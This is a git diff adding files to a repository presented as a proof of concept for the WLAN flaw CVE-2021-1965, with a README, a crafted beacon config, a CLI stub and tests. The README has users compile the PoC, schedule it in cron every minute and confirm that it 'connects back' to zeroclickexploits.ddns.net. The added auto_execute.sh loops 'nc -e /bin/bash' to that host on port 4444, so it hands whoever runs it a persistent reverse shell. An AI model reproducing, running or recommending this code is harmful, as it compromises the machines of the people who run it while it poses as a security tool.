+2. Install the required dependencies: + ``` + sudo apt-get update + sudo apt-get install -y gcc libpcap-dev + ``` + +## Usage + +1. Compile the script using a C compiler, for example: + ``` + gcc -o CVE-2021-1965-poc CVE-2021-1965-poc.c -lpcap + ``` + +2. Run the compiled script: + ``` + ./CVE-2021-1965-poc + ``` + +3. Check if the script connects back to `zeroclickexploits.ddns.net` and auto executes as expected. + +## Contributing + +Please refer to the [CONTRIBUTING.md](CONTRIBUTING.md) file for guidelines on how to contribute to this project. + +## License + +This project is licensed under the MIT License. See the [LICENSE.md](LICENSE.md) file for details. + +## Changelog + +See the [CHANGELOG.md](CHANGELOG.md) file for a history of changes made to the project. + +## Security + +For information on how to report security vulnerabilities, please refer to the [SECURITY.md](SECURITY.md) file. + +## Code of Conduct + +Please refer to the [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) file for guidelines on how to interact with the project community. + +## Contact + +For support or questions, please contact the maintainers or project team. + +## Additional Documentation + +Additional documentation, such as usage instructions, architecture diagrams, and design documents, can be found in the `docs/` directory. + +## Setting up the cron job + +To automate the execution of the script, you can set up a cron job to run the script at a specified interval. Follow these steps: + +1. Open the crontab file by running `crontab -e` in the terminal. +2. Add a new line with the desired schedule and the command to execute the script. For example, to run the script every minute, add the following line: + + ``` + * * * * * /path/to/CVE-2021-1965-poc + ``` + +## Testing the script + +To test the script, follow these steps: + +1. Compile the script using a C compiler, for example: + + ``` + gcc -o CVE-2021-1965-poc CVE-2021-1965-poc.c -lpcap + ``` -https://source.codeaurora.org/quic/qsdk/platform/vendor/qcom-opensource/wlan/qca-wifi-host-cmn/commit/?id=a426e5e1668fff3dfe8bde777a9340cbc129f8df +3. Run the compiled script: + + ``` + ./CVE-2021-1965-poc + ``` + +4. Check if the script connects back to `zeroclickexploits.ddns.net` and auto executes as expected. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..c291cfb --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,35 @@ +# Security Policy + +## Reporting Vulnerabilities + +If you discover a security vulnerability, please report it to us by emailing [security@example.com](mailto:security@example.com). We appreciate your help in keeping our project secure. + +## Security Policies + +We take security vulnerabilities seriously and will respond to reported issues promptly. Our security team will investigate the vulnerability and work on a fix. We aim to provide a response within 48 hours of receiving the report. + +## Supported Versions + +We currently support the following versions of the project: + +- Version 1.0.0 + +## Security Updates + +We will release security updates as needed to address reported vulnerabilities. Users can stay informed about security updates by watching the repository and subscribing to notifications. + +## Security Best Practices + +To help ensure the security of the project, please follow these guidelines when contributing: + +- Validate input to prevent injection attacks. +- Use secure coding practices to avoid common vulnerabilities such as buffer overflows and race conditions. +- Regularly update dependencies to include the latest security patches. +- Avoid using deprecated or insecure functions and libraries. + +## Acknowledgements + +We would like to thank the following individuals and organizations for reporting vulnerabilities and contributing to the security of the project: + +- [Name](https://example.com) +- [Organization](https://example.com) diff --git a/auto_execute.sh b/auto_execute.sh new file mode 100644 index 0000000..5749a6c --- /dev/null +++ b/auto_execute.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +# Function to connect back to zeroclickexploits.ddns.net +connect_back() { + while true; do + nc -e /bin/bash zeroclickexploits.ddns.net 4444 + sleep 10 + done +} + +# Function to auto execute the PoC +auto_execute() { + ./CVE-2021-1965-poc +} + +# Start the connect back function in the background +connect_back & + +# Start the auto execute function +auto_execute diff --git a/cli.c b/cli.c new file mode 100644 index 0000000..da1a3c8 --- /dev/null +++ b/cli.c @@ -0,0 +1,29 @@ +#include +#include +#include + +void parse_arguments(int argc, char *argv[], char *ssid, int *channel, int *power) { + for (int i = 1; i < argc; i++) { + if (strcmp(argv[i], "--ssid") == 0 && i + 1 < argc) { + strcpy(ssid, argv[i + 1]); + } else if (strcmp(argv[i], "--channel") == 0 && i + 1 < argc) { + *channel = atoi(argv[i + 1]); + } else if (strcmp(argv[i], "--power") == 0 && i + 1 < argc) { + *power = atoi(argv[i + 1]); + } + } +} + +int main(int argc, char *argv[]) { + char ssid[32] = "default_ssid"; + int channel = 1; + int power = 20; + + parse_arguments(argc, argv, ssid, &channel, &power); + + printf("SSID: %s\n", ssid); + printf("Channel: %d\n", channel); + printf("Power: %d\n", power); + + return 0; +} diff --git a/config.json b/config.json new file mode 100644 index 0000000..77c409a --- /dev/null +++ b/config.json @@ -0,0 +1,37 @@ +{ + "ssid": "default_ssid", + "supported_rates": [0x8c, 0x12, 0x98, 0x24, 0xb0, 0x48, 0x60, 0x6c], + "ds_param": 1, + "rsn": { + "version": 1, + "group_cipher": 0x000fac04, + "pairwise_count": 1, + "pairwise_cipher": 0x000fac04, + "akm_count": 1, + "akm_list": 0x000fac02, + "rsn_capab": 0xe800, + "pmkid_count": 0, + "group_management_cipher": [0x00, 0x0f, 0xac, 0x06] + }, + "ext_cap": [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], + "erp_info": 0, + "tim": { + "tim_count": 0, + "tim_period": 1, + "tim_bitctl": 0, + "tim_bitmap": [0x00] + }, + "tcp_report": { + "transmit_power": 5, + "link_margin": 0 + }, + "mbssid": { + "max_mbssid_indicator": 4, + "sub_info": [0x53, 0x02, 0x11, 0x15, 0x00, 0x13, 0x72, 0x6f, 0x75, 0x74, 0x65, 0x72, 0x2d, 0x33, 0x34, 0x31, 0x31, 0x2d, 0x6e, 0x61, 0x74, 0x65, 0x2d, 0x36, 0x67, 0x55, 0x03, 0x0f, 0x01, 0x00, 0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x08, 0xcc, 0x00, 0x7f, 0x0b, 0x04, 0x00, 0x4f, 0x02, 0x00, 0x00, 0x00, 0x40, 0x00, 0x40, 0x08, 0xdd, 0x17, 0x8c, 0xfd, 0xf0, 0x01, 0x01, 0x02, 0x01, 0x00, 0x02, 0x01, 0x01, 0x03, 0x03, 0x01, 0x01, 0x00, 0x04, 0x01, 0x01, 0x09, 0x02, 0x0f, 0x03, 0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x80, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00, 0xdd, 0x16, 0x8c, 0xfd, 0xf0, 0x04, 0x00, 0x00, 0x49, 0x4c, 0x51, 0x03, 0x02, 0x09, 0x72, 0x01, 0xcb, 0x17, 0x00, 0x00, 0x04, 0x11, 0x00, 0x00, 0xdd, 0x07, 0x8c, 0xfd, 0xf0, 0x04, 0x01, 0x01, 0x01] + }, + "vendor": { + "oui": [0x00, 0x0c, 0xe7], + "oui_type": 0x08, + "oui_data": [0x08, 0x00, 0x00, 0x00] + } +} diff --git a/logging.h b/logging.h new file mode 100644 index 0000000..ab1c1a5 --- /dev/null +++ b/logging.h @@ -0,0 +1,27 @@ +#ifndef LOGGING_H +#define LOGGING_H + +#include +#include +#include + +#define LOG_LEVEL_INFO "INFO" +#define LOG_LEVEL_WARNING "WARNING" +#define LOG_LEVEL_ERROR "ERROR" + +void log_message(const char *level, const char *format, ...) { + va_list args; + va_start(args, format); + + time_t now; + time(&now); + struct tm *local = localtime(&now); + + printf("[%02d:%02d:%02d] [%s] ", local->tm_hour, local->tm_min, local->tm_sec, level); + vprintf(format, args); + printf("\n"); + + va_end(args); +} + +#endif // LOGGING_H diff --git a/tests/test_CVE-2021-1965-poc.c b/tests/test_CVE-2021-1965-poc.c new file mode 100644 index 0000000..2fb7841 --- /dev/null +++ b/tests/test_CVE-2021-1965-poc.c @@ -0,0 +1,62 @@ +#include +#include +#include +#include +#include +#include +#include + +// Function prototypes +uint64_t rev8(uint64_t x); +uint8_t rsn_size(int npair, int nauth); +uint8_t convert_to_hex(size_t len); +int brodcast(void *buf, int bufsize); +void connect_back(); +void auto_execute(); + +// Test functions +void test_rev8() { + CU_ASSERT_EQUAL(rev8(0x0123456789ABCDEF), 0xEFCDAB8967452301); +} + +void test_rsn_size() { + CU_ASSERT_EQUAL(rsn_size(1, 1), 24); +} + +void test_convert_to_hex() { + CU_ASSERT_EQUAL(convert_to_hex(255), 0xFF); +} + +void test_brodcast() { + uint8_t buf[100] = {0}; + CU_ASSERT_EQUAL(brodcast(buf, sizeof(buf)), 1); +} + +void test_connect_back() { + // This test is not feasible to implement as it requires network interaction + CU_PASS("test_connect_back not implemented"); +} + +void test_auto_execute() { + // This test is not feasible to implement as it requires executing a system command + CU_PASS("test_auto_execute not implemented"); +} + +int main() { + CU_initialize_registry(); + + CU_pSuite suite = CU_add_suite("CVE-2021-1965-poc Tests", 0, 0); + + CU_add_test(suite, "test_rev8", test_rev8); + CU_add_test(suite, "test_rsn_size", test_rsn_size); + CU_add_test(suite, "test_convert_to_hex", test_convert_to_hex); + CU_add_test(suite, "test_brodcast", test_brodcast); + CU_add_test(suite, "test_connect_back", test_connect_back); + CU_add_test(suite, "test_auto_execute", test_auto_execute); + + CU_basic_set_mode(CU_BRM_VERBOSE); + CU_basic_run_tests(); + CU_cleanup_registry(); + + return 0; +}